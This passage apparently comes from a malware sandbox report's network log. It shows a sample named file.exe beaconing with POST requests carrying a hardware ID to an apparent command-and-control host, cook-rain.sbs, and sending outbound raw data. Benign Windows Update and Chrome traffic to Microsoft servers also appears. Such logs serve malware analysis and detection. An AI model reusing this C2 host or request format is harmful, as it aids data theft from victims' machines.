2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: d5 5a 6a d9 ad d7 5e 56 db 65 5e 94 75 af b5 3f 48 5b e7 7d b6 d6 24 b3 74 fc d6 d2 74 fd e6 19 3e 73 1c 3c 8a f4 fd 2d 1c 6c 11 52 48 4c 1f 6c 17 e6 0c 49 c3 ad 68 a6 4f 42 68 ed 76 cd 60 d5 e8 a5 01 9f 30 bd e5 fa 34 f7 5d 60 e1 0a 81 5b 65 03 98 00 da 5e d9 4f f1 9c af da 3a bf b6 89 ce c2 4a 92 01 6b da f5 0c 5d 66 4e 6f 2f c4 64 a1 82 89 60 e1 be 87 17 2f 08 dd 55 0e aa c7 20 d6 65 a4 c8 18 04 fd 88 2c f8 ae 71 06 ac e7 f9 66 6b c6 9b 4f ef f6 7c ff 33 5d 82 26 d1 e7 86 b9 62 61 b0 f2 37 bb 7f 3e 74 bc 2b f7 f2 88 da 32 2d 67 50 62 64 12 0b 1f 62 7f 7c e2 0e e8 af c8 ac 2e 3e 90 25 28 f6 df fd 6d ab 78 10 14 f5 fb e4 cb 23 67 8c 87 47 12 0e c6 84 7e 0f ff d3 5f fd 53 54 92 bf 72 a9 77 51 74 98 0d 4a 20 f2 18 8b cf b6 7c 97 8b cb 62 bd e2 be d8 83 c2 Data Ascii: Zj^Ve^u?H[}$tt>s<-lRHLlIhOBhv`04]`[e^O:Jk]fNo/d`/U e,qfkO\|3]&ba7>t+2-gPbdb\|.>%(mx#gG~_STrwQtJ \|b
2024-11-20 02:20:47 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p11tutfsu77cv7r5e4hvu3gdjg; expires=Sat, 15-Mar-2025 20:07:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZVyUwfDttzTx1f0wWC9fk0fjcQUjpqo00bECBk4uIOMlery1Y2ahJKQTYFaogvNsBJwRwSKOlpBcfKCmcngfmdJEU9h6xtTAdLQzDmNwlNWwKK7kZk1EZeQFVYo%2BULA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f66c2a9c4352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&sent=198&recv=589&lost=0&retrans=0&sent_bytes=2829&recv_bytes=571961&delivery_rate=1767554&cwnd=235&unsent_bytes=0&cid=8549b46de1ed6968&ts=2910&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49714	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:48 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 02:20:48 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=44054FFA32DA766763CFCF7E6C45F838
2024-11-20 02:20:48 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0l1rhbjm9bvc56234m77e11jnq; expires=Sat, 15-Mar-2025 20:07:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IYrEc4wyIM1zc%2BItY8QvKcRilGzHQhfxNK2yt3Kd0SaozJFYQH12RgqnADbg%2Bht4oyREM%2FNx1oXOCOxkqSS%2BU8J6ahY8lu8BtPs2ewEAksdA5yIc1DVkQvCC6d8kaezq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f6819b648c05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1962&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=1467336&cwnd=211&unsent_bytes=0&cid=df2683ea8818c972&ts=446&x=0"
2024-11-20 02:20:48 UTC	214	IN	Data Raw: 64 30 0d 0a 52 78 63 38 4f 32 78 6f 53 37 76 30 36 56 7a 37 71 72 78 38 7a 59 61 53 6c 30 54 67 73 75 4c 4c 43 59 66 62 52 79 67 59 36 67 67 63 62 42 35 4f 54 6c 4a 70 30 34 43 64 4c 4d 48 32 6b 79 44 69 74 36 71 69 61 74 4b 44 31 2b 55 34 74 75 68 70 47 53 36 32 4a 79 68 78 57 6d 64 44 44 43 37 64 32 6f 77 6b 6e 6f 69 51 58 71 76 79 73 4b 31 30 7a 4a 43 48 36 54 4f 32 70 6d 74 54 4f 70 38 71 66 54 56 55 54 78 67 59 63 65 66 62 74 58 50 4b 6b 6f 6c 53 2f 37 65 6e 75 58 58 52 67 63 7a 36 50 39 76 30 4e 46 78 39 69 32 55 62 4f 45 35 61 41 67 77 6b 31 74 71 4d 4a 4a 36 49 6b 46 36 72 38 72 43 74 64 4d 79 51 68 2b 6b 7a 74 71 59 61 0d 0a Data Ascii: d0Rxc8O2xoS7v06Vz7qrx8zYaSl0TgsuLLCYfbRygY6ggcbB5OTlJp04CdLMH2kyDit6qiatKD1+U4tuhpGS62JyhxWmdDDC7d2owknoiQXqvysK10zJCH6TO2pmtTOp8qfTVUTxgYcefbtXPKkolS/7enuXXRgcz6P9v0NFx9i2UbOE5aAgwk1tqMJJ6IkF6r8rCtdMyQh+kztqYa
2024-11-20 02:20:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49716	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:51 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2rdR+NpUGG9blug&MD=NgHsSw1y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 02:20:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8bb836e0-519e-4efe-9189-a096b75c86fc MS-RequestId: 06ba0436-f311-4ea2-98e0-975c44497df4 MS-CV: kf/KCKgTNE623vQp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 02:20:50 GMT Connection: close Content-Length: 24490
2024-11-20 02:20:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 02:20:51 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49742	13.107.246.45	443	7268	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:05 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 02:21:05 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:05 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 26131 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 83812644-101e-002a-70b6-3a1fcf000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T022105Z-185f5d8b95cjbkr4hC1NYCeu2400000009a000000000x5ak Accept-Ranges: bytes
2024-11-20 02:21:05 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-20 02:21:05 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49743	13.107.246.45	443	7268	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:05 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 02:21:05 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:05 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T022105Z-r1d97b99577ckpmjhC1TEBrzs000000008c0000000000gyn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:05 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-20 02:21:05 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var 